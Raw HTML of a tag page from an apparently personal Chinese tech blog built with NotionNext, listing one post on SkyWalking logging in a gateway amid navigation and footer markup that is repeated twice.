href="/archive"><div><div class="fas fa-clock-rotate-left text-center w-3 mr-3 text-xs"></div>历史归档</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/category"><div><div class="fas fa-th text-center w-3 mr-3 text-xs"></div>文章分类</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/tag"><div><div class="fas fa-tag text-center w-3 mr-3 text-xs"></div>文章标签</div></a></div></div></nav></div></div><div class="flex w-full h-14 shadow glassmorphism bg-white dark:bg-hexo-black-gray px-7 items-between"><div id="top-wrapper" class="w-full flex items-center"><div class="cursor-pointer md:hidden text-xl pr-3 hover:scale-110 duration-150"><i class="fa-solid fa-indent"></i></div><a class="flex text-md md:text-xl dark:text-gray-200" href="/"><img src="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==" alt="Both Savage" width="24" height="24" class="mr-2 hidden md:block"/>Both Savage</a></div><div class="mr-1 flex md:hidden justify-end items-center space-x-4 font-serif dark:text-gray-200"><div class="flex text-md items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div><div class="cursor-pointer text-lg hover:scale-110 duration-150"><i class="fa-solid fa-ellipsis-vertical"></i></div></div><div class="hidden md:flex"><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><a target="_blank" href="https://github.com/BOTHSAVAGE"><i class="fab fa-github"></i> <!-- -->Github</a></div></li><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><div><i class="fas fa-archive"></i> <!-- -->往期整理<i class="px-2 fas fa-chevron-down duration-500 transition-all "></i></div></div><ul class="invisible opacity-0 top-10  border-gray-100  bg-white  dark:bg-black dark:border-gray-800 transition-all duration-300 z-20 absolute block drop-shadow-lg "><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/archive"><span class="text-xs font-extralight"><i class="fas fa-clock-rotate-left">   </i>历史归档</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/category"><span class="text-xs font-extralight"><i class="fas fa-th">   </i>文章分类</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/tag"><span class="text-xs font-extralight"><i class="fas fa-tag">   </i>文章标签</span></a></li></ul></li><div class="text-sm flex items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div></div></div></div><main id="wrapper" class="relative flex justify-between w-full h-full mx-auto"><div class="font-sans hidden md:block border-r dark:border-transparent relative z-10 "><div class="w-72 py-14 px-6 sticky top-0 overflow-y-scroll h-screen scroll-hidden"><div class="flex w-full"><input type="text" class="my-3 rounded-md outline-none w-full text-sm pl-2 transition focus:shadow-lg font-light leading-10 text-black bg-gray-100 dark:bg-gray-900 dark:text-white"/><div class="flex -ml-8 cursor-pointer float-right items-center justify-center py-2"><i class="hover:text-black transform duration-200 text-gray-500  dark:hover:text-gray-300 cursor-pointer fas fa-search"></i></div></div><div class="mb-20"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div><div class="w-72 fixed left-0 bottom-0 z-20 bg-white"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div id="center-wrapper" class="flex flex-col justify-between w-full relative z-10 pt-14 min-h-screen"><div id="container-inner" class="w-full px-7 max-w-3xl justify-center mx-auto"><div class="transition ease-in-out duration-700 transform order-first opacity-0 translate-y-16"><div class="mt-10"><div class="w-full justify-center"><div id="posts-wrapper"><div class="undefined py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="my-10 flex justify-between font-medium text-black dark:text-gray-100 space-x-2"><a rel="prev" class="invisible text-center w-full duration-200 px-4 py-2 hover:border-green-500 border-b-2 hover:font-bold" href="/tag/spring/page/0">←<!-- -->Prev</a><a rel="next" class="invisible text-center w-full duration-200 px-4 py-2 hover:border-green-500 border-b-2 hover:font-bold" href="/tag/spring/page/2">Next<!-- -->→</a></div></div></div></div><div id="jump-to-top" data-aos="fade-up" data-aos-duration="300" data-aos-once="false" data-aos-anchor-placement="top-center" class="fixed xl:right-80 right-2 mr-10 bottom-24 z-20"><i class="fas fa-chevron-up cursor-pointer p-2 rounded-full border bg-white dark:bg-hexo-black-gray"></i></div></div><div class="md:hidden"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div style="width:32rem" class="hidden xl:block dark:border-transparent relative z-10 "><div class="py-14 px-6 sticky top-0"><div class="py-4"></div></div></div></main><div id="gitbook-left-float" class="fixed top-0 left-0 z-40 md:hidden"><div class="-ml-80 animate__slideOutLeft overflow-y-hidden shadow-card w-72 duration-200 fixed left-1 top-16 rounded py-2 bg-white dark:bg-gray-600"><div class="dark:text-gray-400 text-gray-600 h-96 overflow-y-scroll p-3"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div></div><div id="left-drawer-background" class="hidden fixed top-0 left-0 z-30 w-full h-full"></div></div><script async="" src="https://www.googletagmanager.com/gtag/js?id=G-XT4YTFWNBG"></script><script async="">
+<!DOCTYPE html><html lang="zh-CN"><head><title>spring | Tags | Both Savage</title><meta name="theme-color" content="#000000"/><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=5.0, minimum-scale=1.0"/><meta name="robots" content="follow, index"/><meta charSet="UTF-8"/><meta name="keywords" content="Notion, 博客"/><meta name="description" content="talk is cheap"/><meta property="og:locale" content="en_US"/><meta property="og:title" content="spring | Tags | Both Savage"/><meta property="og:description" content="talk is cheap"/><meta property="og:url" content="https://bothsavage.github.io//tag/spring"/><meta property="og:image" content="https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg"/><meta property="og:site_name" content="Both Savage"/><meta property="og:type" content="website"/><meta name="twitter:card" content="summary_large_image"/><meta name="twitter:description" content="talk is cheap"/><meta name="twitter:title" content="spring | Tags | Both Savage"/><meta name="referrer" content="no-referrer-when-downgrade"/><meta name="next-head-count" content="18"/><link rel="icon" href="/favicon.ico"/><link rel="preload" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" as="style" crossorigin="anonymous"/><link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" crossorigin="anonymous" referrerPolicy="no-referrer"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css?family=Bitter&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Sans+SC:wght@300&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Serif+SC:wght@300&amp;display=swap"/><link data-next-font="" rel="preconnect" href="/" crossorigin="anonymous"/><link rel="preload" href="/_next/static/css/06c69360ab4a808f.css" as="style" crossorigin=""/><link rel="stylesheet" href="/_next/static/css/06c69360ab4a808f.css" crossorigin="" data-n-g=""/><noscript data-n-css=""></noscript><script defer="" crossorigin="" nomodule="" src="/_next/static/chunks/polyfills-c67a75d1b6f99dc8.js"></script><script src="/_next/static/chunks/webpack-3c2098fe4d6464d4.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/framework-b7fa4bf8e1ae99a1.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/main-30e956e31ac22080.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/_app-e7616ab64265e571.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/tag/%5Btag%5D-27fd94272e69240a.js" defer="" crossorigin=""></script><script src="/_next/static/mm0_cWkCfdum_vxo9wL_b/_buildManifest.js" defer="" crossorigin=""></script><script src="/_next/static/mm0_cWkCfdum_vxo9wL_b/_ssgManifest.js" defer="" crossorigin=""></script><style id="__jsx-763a7ba965151bca">.dark body{background-color:black}</style></head><body class="font-sans font-light scroll-smooth"><div id="__next"><div id="theme-gitbook" class="bg-white dark:bg-hexo-black-gray w-full h-full min-h-screen justify-center dark:text-gray-300"><div id="top-nav" class="fixed top-0 w-full z-40 undefined"><div style="height:0px;will-change:height" class="md:hidden overflow-hidden duration-200 "><div class="bg-white dark:bg-hexo-black-gray pt-1 py-2 lg:hidden "><nav id="nav" class=" text-md"><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><a target="_blank" class="py-2 w-full my-auto items-center justify-between flex  " href="https://github.com/BOTHSAVAGE"><div><div class="fab fa-github text-center w-4 mr-4"></div>Github</div></a></div><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><div class="py-2 font-extralight flex justify-between cursor-pointer  dark:text-gray-200 no-underline tracking-widest"><div><div class="fas fa-archive text-center w-4 mr-4"></div>往期整理</div><div class="inline-flex items-center "><i class="px-2 fas fa-chevron-right transition-all duration-200 "></i></div></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/archive"><div><div class="fas fa-clock-rotate-left text-center w-3 mr-3 text-xs"></div>历史归档</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/category"><div><div class="fas fa-th text-center w-3 mr-3 text-xs"></div>文章分类</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/tag"><div><div class="fas fa-tag text-center w-3 mr-3 text-xs"></div>文章标签</div></a></div></div></nav></div></div><div class="flex w-full h-14 shadow glassmorphism bg-white dark:bg-hexo-black-gray px-7 items-between"><div id="top-wrapper" class="w-full flex items-center"><div class="cursor-pointer md:hidden text-xl pr-3 hover:scale-110 duration-150"><i class="fa-solid fa-indent"></i></div><a class="flex text-md md:text-xl dark:text-gray-200" href="/"><img src="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==" alt="Both Savage" width="24" height="24" class="mr-2 hidden md:block"/>Both Savage</a></div><div class="mr-1 flex md:hidden justify-end items-center space-x-4 font-serif dark:text-gray-200"><div class="flex text-md items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div><div class="cursor-pointer text-lg hover:scale-110 duration-150"><i class="fa-solid fa-ellipsis-vertical"></i></div></div><div class="hidden md:flex"><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><a target="_blank" href="https://github.com/BOTHSAVAGE"><i class="fab fa-github"></i> <!-- -->Github</a></div></li><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><div><i class="fas fa-archive"></i> <!-- -->往期整理<i class="px-2 fas fa-chevron-down duration-500 transition-all "></i></div></div><ul class="invisible opacity-0 top-10  border-gray-100  bg-white  dark:bg-black dark:border-gray-800 transition-all duration-300 z-20 absolute block drop-shadow-lg "><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/archive"><span class="text-xs font-extralight"><i class="fas fa-clock-rotate-left">   </i>历史归档</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/category"><span class="text-xs font-extralight"><i class="fas fa-th">   </i>文章分类</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/tag"><span class="text-xs font-extralight"><i class="fas fa-tag">   </i>文章标签</span></a></li></ul></li><div class="text-sm flex items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div></div></div></div><main id="wrapper" class="relative flex justify-between w-full h-full mx-auto"><div class="font-sans hidden md:block border-r dark:border-transparent relative z-10 "><div class="w-72 py-14 px-6 sticky top-0 overflow-y-scroll h-screen scroll-hidden"><div class="flex w-full"><input type="text" class="my-3 rounded-md outline-none w-full text-sm pl-2 transition focus:shadow-lg font-light leading-10 text-black bg-gray-100 dark:bg-gray-900 dark:text-white"/><div class="flex -ml-8 cursor-pointer float-right items-center justify-center py-2"><i class="hover:text-black transform duration-200 text-gray-500  dark:hover:text-gray-300 cursor-pointer fas fa-search"></i></div></div><div class="mb-20"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div><div class="w-72 fixed left-0 bottom-0 z-20 bg-white"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div id="center-wrapper" class="flex flex-col justify-between w-full relative z-10 pt-14 min-h-screen"><div id="container-inner" class="w-full px-7 max-w-3xl justify-center mx-auto"><div class="transition ease-in-out duration-700 transform order-first opacity-0 translate-y-16"><div class="mt-10"><div class="w-full justify-center"><div id="posts-wrapper"><div class="undefined py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="my-10 flex justify-between font-medium text-black dark:text-gray-100 space-x-2"><a rel="prev" class="invisible text-center w-full duration-200 px-4 py-2 hover:border-green-500 border-b-2 hover:font-bold" href="/tag/spring/page/0">←<!-- -->Prev</a><a rel="next" class="invisible text-center w-full duration-200 px-4 py-2 hover:border-green-500 border-b-2 hover:font-bold" href="/tag/spring/page/2">Next<!-- -->→</a></div></div></div></div><div id="jump-to-top" data-aos="fade-up" data-aos-duration="300" data-aos-once="false" data-aos-anchor-placement="top-center" class="fixed xl:right-80 right-2 mr-10 bottom-24 z-20"><i class="fas fa-chevron-up cursor-pointer p-2 rounded-full border bg-white dark:bg-hexo-black-gray"></i></div></div><div class="md:hidden"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div style="width:32rem" class="hidden xl:block dark:border-transparent relative z-10 "><div class="py-14 px-6 sticky top-0"><div class="py-4"></div></div></div></main><div id="gitbook-left-float" class="fixed top-0 left-0 z-40 md:hidden"><div class="-ml-80 animate__slideOutLeft overflow-y-hidden 